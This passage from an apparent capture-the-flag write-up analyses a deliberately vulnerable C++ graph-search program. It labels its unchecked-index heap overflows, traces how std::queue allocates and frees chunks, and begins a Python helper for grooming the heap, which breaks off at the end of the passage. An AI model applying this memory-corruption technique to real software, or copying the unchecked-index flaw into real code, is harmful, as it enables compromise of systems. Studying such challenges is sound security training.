class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="c1">// --&gt; overflow4 </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="k">while</span><span class="p">(</span><span class="o">!</span><span class="n">q</span><span class="p">.</span><span class="n">empty</span><span class="p">())</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="n">tmp</span> <span class="o">=</span> <span class="n">q</span><span class="p">.</span><span class="n">front</span><span class="p">();</span> </span></span><span class="line"><span class="cl"> <span class="n">q</span><span class="p">.</span><span class="n">pop</span><span class="p">();</span> </span></span><span class="line"><span class="cl"> <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">n</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">if</span><span class="p">(</span><span class="n">adj_matrix</span><span class="p">[</span><span class="n">tmp</span><span class="o">*</span><span class="n">MAX_NUMBER_OF_NODES</span> <span class="o">+</span> <span class="n">i</span><span class="p">]</span> <span class="o">!=</span> <span class="mi">0</span> <span class="o">&amp;&amp;</span> <span class="n">vis</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">!=</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="n">vis</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="n">parent</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">tmp</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="n">q</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="n">i</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="p">(</span><span class="n">i</span> <span class="o">==</span> <span class="n">dest</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="k">return</span><span class="p">;</span> <span class="c1">// return, the nodes in the queue are not released </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="p">}</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> <span class="k">return</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="k">const</span> <span class="o">*</span><span class="n">argv</span><span class="p">[])</span> </span></span><span class="line"><span class="cl"><span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="n">init</span><span class="p">();</span> </span></span><span class="line"><span class="cl"> <span class="n">std</span><span class="o">::</span><span class="n">string</span> <span class="n">choice</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="n">uint</span> <span class="n">q</span><span class="p">,</span> <span class="n">n</span><span class="p">,</span><span class="n">k</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="n">uint</span> <span class="n">from</span><span class="p">,</span> <span class="n">dest</span><span class="p">,</span> <span class="n">crawl</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="n">std</span><span class="o">::</span><span class="n">cin</span> <span class="o">&gt;&gt;</span> <span class="n">q</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">for</span> <span class="p">(</span><span class="n">uint</span> <span class="n">l</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">l</span> <span class="o">&lt;</span> <span class="n">q</span><span class="p">;</span> <span class="n">l</span><span class="o">++</span><span class="p">)</span> <span class="c1">// input times for running </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="n">std</span><span class="o">::</span><span class="n">cin</span> <span class="o">&gt;&gt;</span> <span class="n">n</span> <span class="o">&gt;&gt;</span> <span class="n">k</span><span class="p">;</span> <span class="c1">// number of nodes and edges </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="k">if</span><span class="p">(</span><span class="n">n</span> <span class="o">&gt;</span> <span class="n">MAX_NUMBER_OF_NODES</span><span class="p">)</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> <span class="k">for</span> <span class="p">(</span><span class="n">size_t</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">n</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="k">for</span> <span class="p">(</span><span class="n">size_t</span> <span class="n">j</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">j</span> <span class="o">&lt;</span> <span class="n">n</span><span class="p">;</span> <span class="n">j</span><span class="o">++</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="n">adj_matrix</span><span class="p">[</span><span class="n">i</span><span class="o">*</span><span class="n">MAX_NUMBER_OF_NODES</span> <span class="o">+</span> <span class="n">j</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="c1">// adjacent matrix initial </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="k">for</span> <span class="p">(</span><span class="n">size_t</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">n</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="n">vis</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="c1">// visited matrix initial </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="k">for</span> <span class="p">(</span><span class="n">size_t</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">k</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="n">std</span><span class="o">::</span><span class="n">cin</span> <span class="o">&gt;&gt;</span> <span class="n">from</span> <span class="o">&gt;&gt;</span> <span class="n">dest</span><span class="p">;</span> <span class="c1">// input for adjacent matrix --&gt; overflow1 </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="n">adj_matrix</span><span class="p">[</span><span class="n">from</span><span class="o">*</span><span class="n">MAX_NUMBER_OF_NODES</span> <span class="o">+</span> <span class="n">dest</span><span class="p">]</span><span class="o">++</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="n">adj_matrix</span><span class="p">[</span><span class="n">dest</span><span class="o">*</span><span class="n">MAX_NUMBER_OF_NODES</span> <span class="o">+</span> <span class="n">from</span><span class="p">]</span><span class="o">++</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> <span class="n">std</span><span class="o">::</span><span class="n">cin</span> <span class="o">&gt;&gt;</span> <span class="n">from</span> <span class="o">&gt;&gt;</span> <span class="n">dest</span><span class="p">;</span> <span class="c1">// from node and dest node </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="n">bfs</span><span class="p">(</span><span class="n">from</span><span class="p">,</span> <span class="n">dest</span><span class="p">,</span> <span class="n">n</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="n">crawl</span> <span class="o">=</span> <span class="n">dest</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">&#34;Testcase #&#34;</span> <span class="o">&lt;&lt;</span> <span class="n">l</span> <span class="o">&lt;&lt;</span> <span class="s">&#34;: &#34;</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">while</span><span class="p">(</span><span class="n">parent</span><span class="p">[</span><span class="n">crawl</span><span class="p">]</span> <span class="o">!=</span> <span class="n">crawl</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// find path and print the path --&gt; overflow2 </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="n">crawl</span> <span class="o">&lt;&lt;</span> <span class="s">&#34; &#34;</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="n">crawl</span> <span class="o">=</span> <span class="n">parent</span><span class="p">[</span><span class="n">crawl</span><span class="p">];</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="n">crawl</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></td></tr></table> </div> </div><p>It&rsquo;s obvious that the vulnerability of this program is that <code>from</code> and <code>dest</code> are not checked, and we can input large number to cause overflow.</p> <p>There&rsquo;re two vulns for read and write:</p> <p><strong>Write</strong>: At <code>overflow2</code> I labeled, one byte is leaked.</p> <p><strong>Read</strong>: At <code>overflow1</code>, we can change the content of the address without leaking, like using a <code>add</code> gadgets.</p> <p>The type of these two variables is <code>uint</code>, as we can overflow to read and write data at higher address, but cannot read/write lower address.</p> <p>The layout of heap in this program after initial:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">low address ---&gt; queue </span></span><span class="line"><span class="cl"> vis </span></span><span class="line"><span class="cl"> parent </span></span><span class="line"><span class="cl">high address---&gt; adj_matrix </span></span></code></pre></td></tr></table> </div> </div><p>In order to leak and write useful data, we need to allocate chunks after <code>adj_matrix</code>. So how to trigger <code>malloc</code> and <code>free</code>, the answer is in <code>std:queue</code>.</p> <h3 class="heading-element" id="2-2-mechanism-of-stdqueue"><span>2-2 Mechanism of Std::queue</span> <a href="#2-2-mechanism-of-stdqueue" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h3><p>I also don&rsquo;t know the mechanism of <code>std:queue</code> when I started to solve the task, so I write a test program to trace the chunk operations when <code>std::queue</code> is used.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span><span class="lnt">22 </span><span class="lnt">23 </span><span class="lnt">24 </span><span class="lnt">25 </span><span class="lnt">26 </span><span class="lnt">27 </span><span class="lnt">28 </span><span class="lnt">29 </span><span class="lnt">30 </span><span class="lnt">31 </span><span class="lnt">32 </span><span class="lnt">33 </span><span class="lnt">34 </span><span class="lnt">35 </span><span class="lnt">36 </span><span class="lnt">37 </span><span class="lnt">38 </span><span class="lnt">39 </span><span class="lnt">40 </span><span class="lnt">41 </span><span class="lnt">42 </span><span class="lnt">43 </span><span class="lnt">44 </span><span class="lnt">45 </span><span class="lnt">46 </span><span class="lnt">47 </span><span class="lnt">48 </span><span class="lnt">49 </span><span class="lnt">50 </span><span class="lnt">51 </span><span class="lnt">52 </span><span class="lnt">53 </span><span class="lnt">54 </span><span class="lnt">55 </span><span class="lnt">56 </span><span class="lnt">57 </span><span class="lnt">58 </span><span class="lnt">59 </span><span class="lnt">60 </span><span class="lnt">61 </span><span class="lnt">62 </span><span class="lnt">63 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;iostream&gt;</span><span class="cp"> </span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;queue&gt;</span><span class="cp"> </span></span></span><span class="line"><span class="cl"><span class="cp"></span><span class="k">using</span> <span class="k">namespace</span> <span class="n">std</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">std</span><span class="o">::</span><span class="n">queue</span><span class="o">&lt;</span><span class="kt">uint8_t</span><span class="o">&gt;</span> <span class="n">global_q</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> </span></span><span class="line"><span class="cl"><span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="n">setvbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="n">setvbuf</span><span class="p">(</span><span class="n">stdin</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="n">puts</span><span class="p">(</span><span class="s">&#34;push push!!!&#34;</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="k">for</span> <span class="p">(</span><span class="n">size_t</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">256</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="n">global_q</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="n">i</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="c1">// printf(&#34;push %d\n&#34;, i); </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> <span class="n">puts</span><span class="p">(</span><span class="s">&#34;push push!!!&#34;</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="k">for</span> <span class="p">(</span><span class="n">size_t</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">256</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="n">global_q</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="n">i</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="c1">// printf(&#34;push %d\n&#34;, i); </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> <span class="n">puts</span><span class="p">(</span><span class="s">&#34;pop pop!!!&#34;</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="k">for</span> <span class="p">(</span><span class="n">size_t</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">256</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="n">global_q</span><span class="p">.</span><span class="n">pop</span><span class="p">();</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> <span class="n">puts</span><span class="p">(</span><span class="s">&#34;pop pop!!!&#34;</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="k">for</span> <span class="p">(</span><span class="n">size_t</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">256</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="n">global_q</span><span class="p">.</span><span class="n">pop</span><span class="p">();</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> <span class="n">puts</span><span class="p">(</span><span class="s">&#34;push push!!!&#34;</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="k">for</span> <span class="p">(</span><span class="n">size_t</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">256</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="n">global_q</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="n">i</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="c1">// printf(&#34;push %d\n&#34;, i); </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> <span class="n">puts</span><span class="p">(</span><span class="s">&#34;push push!!!&#34;</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="k">for</span> <span class="p">(</span><span class="n">size_t</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">256</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="n">global_q</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="n">i</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="c1">// printf(&#34;push %d\n&#34;, i); </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> <span class="n">puts</span><span class="p">(</span><span class="s">&#34;pop pop!!!&#34;</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="k">for</span> <span class="p">(</span><span class="n">size_t</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">256</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="n">global_q</span><span class="p">.</span><span class="n">pop</span><span class="p">();</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> <span class="n">puts</span><span class="p">(</span><span class="s">&#34;pop pop!!!&#34;</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="k">for</span> <span class="p">(</span><span class="n">size_t</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">256</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="n">global_q</span><span class="p">.</span><span class="n">pop</span><span class="p">();</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> <span class="n">puts</span><span class="p">(</span><span class="s">&#34;end end!!!&#34;</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></td></tr></table> </div> </div><p>Compile the file and use <a href="https://github.com/Arinerron/heaptrace"target="_blank" rel="external nofollow noopener noreferrer">Arinerron/heaptrace: helps visualize heap operations for pwn and debugging (github.com)<i class="fa-solid fa-external-link-alt fa-fw fa-xs ms-1 text-secondary" aria-hidden="true"></i></a> to analyze.</p> <p><img loading="lazy" src='https://image.roderickchan.cn/img/image-20221003094403204.png' alt="image-20221003094403204"></p> <p>In the initial stage, <code>std::queue&lt;uint_8&gt;</code> allocate two chunks, the size is <code>0x50</code> and <code>0x210</code>.</p> <p>After pushing <code>0x200</code> items, <code>malloc(0x200)</code> is triggered.</p> <p>After popping <code>0x200</code> items, the initial chunk is released.</p> <p>In a word, we can allocate chunk by <code>queue.push</code> and free chunk by <code>queue.pop</code>.</p> <h3 class="heading-element" id="2-4-malloc-and-free-chunks-using-stdqueue"><span>2-4 Malloc and Free Chunks Using Std::queue</span> <a href="#2-4-malloc-and-free-chunks-using-stdqueue" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h3><p>Look at the function <code>bfs</code>:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-c++" data-lang="c++"><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">bfs</span><span class="p">(</span><span class="n">uint</span> <span class="n">from</span><span class="p">,</span> <span class="n">uint</span> <span class="n">dest</span><span class="p">,</span> <span class="n">uint</span> <span class="n">n</span> <span class="p">)</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="n">uint</span> <span class="n">tmp</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="n">parent</span><span class="p">[</span><span class="n">from</span><span class="p">]</span> <span class="o">=</span> <span class="n">from</span><span class="p">;</span> <span class="c1">// root node of a path, whose parent node is itself --&gt; overflow3 </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="n">q</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="n">from</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="n">vis</span><span class="p">[</span><span class="n">from</span><span class="p">]</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="c1">// --&gt; overflow4 </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="k">while</span><span class="p">(</span><span class="o">!</span><span class="n">q</span><span class="p">.</span><span class="n">empty</span><span class="p">())</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="n">tmp</span> <span class="o">=</span> <span class="n">q</span><span class="p">.</span><span class="n">front</span><span class="p">();</span> </span></span><span class="line"><span class="cl"> <span class="n">q</span><span class="p">.</span><span class="n">pop</span><span class="p">();</span> </span></span><span class="line"><span class="cl"> <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">n</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">if</span><span class="p">(</span><span class="n">adj_matrix</span><span class="p">[</span><span class="n">tmp</span><span class="o">*</span><span class="n">MAX_NUMBER_OF_NODES</span> <span class="o">+</span> <span class="n">i</span><span class="p">]</span> <span class="o">!=</span> <span class="mi">0</span> <span class="o">&amp;&amp;</span> <span class="n">vis</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">!=</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="n">vis</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="n">parent</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">tmp</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="n">q</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="n">i</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="p">(</span><span class="n">i</span> <span class="o">==</span> <span class="n">dest</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="k">return</span><span class="p">;</span> <span class="c1">// return, the nodes in the queue are not released </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="p">}</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> <span class="k">return</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></td></tr></table> </div> </div><p>On the one hand, we can push items in the for loop, and let it return, so the queue will not be cleared. Let node <code>X</code> connects to all other nodes, and input <code>from=X</code>, <code>dest=255</code>, then in <code>bfs</code>, <code>255</code> items are added in the queue and it will return because node <code>X</code> is connected to node <code>255</code>.</p> <p>The snippet to trigger malloc:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">push_nodes</span><span class="p">(</span><span class="n">from_</span><span class="o">=</span><span class="mi">0</span><span class="p">,</span> <span class="n">num</span><span class="o">=</span><span class="mi">256</span><span class="p">):</span> </span></span><span class="line"><span class="cl"> <span class="n">sl</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;</span><span class="si">{</span><span class="n">num</span><span class="si">}</span><span class="s2"> </span><span class="si">{</span><span class="n">num</span><span class="o">-</span><span class="mi">1</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">num</span><span class="p">):</span> </span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="n">i</span> <span class="o">==</span> <span class="n">from_</span><span class="p">:</span> </span></span><span class="line"><span class="cl"> <span class="k">continue</span> </span></span><span class="line"><span class="cl"> <span class="n">sl</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;</span><span class="si">{</span><span class="n">from_</span><span class="si">}</span><span class="s2"> </span><span class="si">{</span><span class="n">i</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> <span 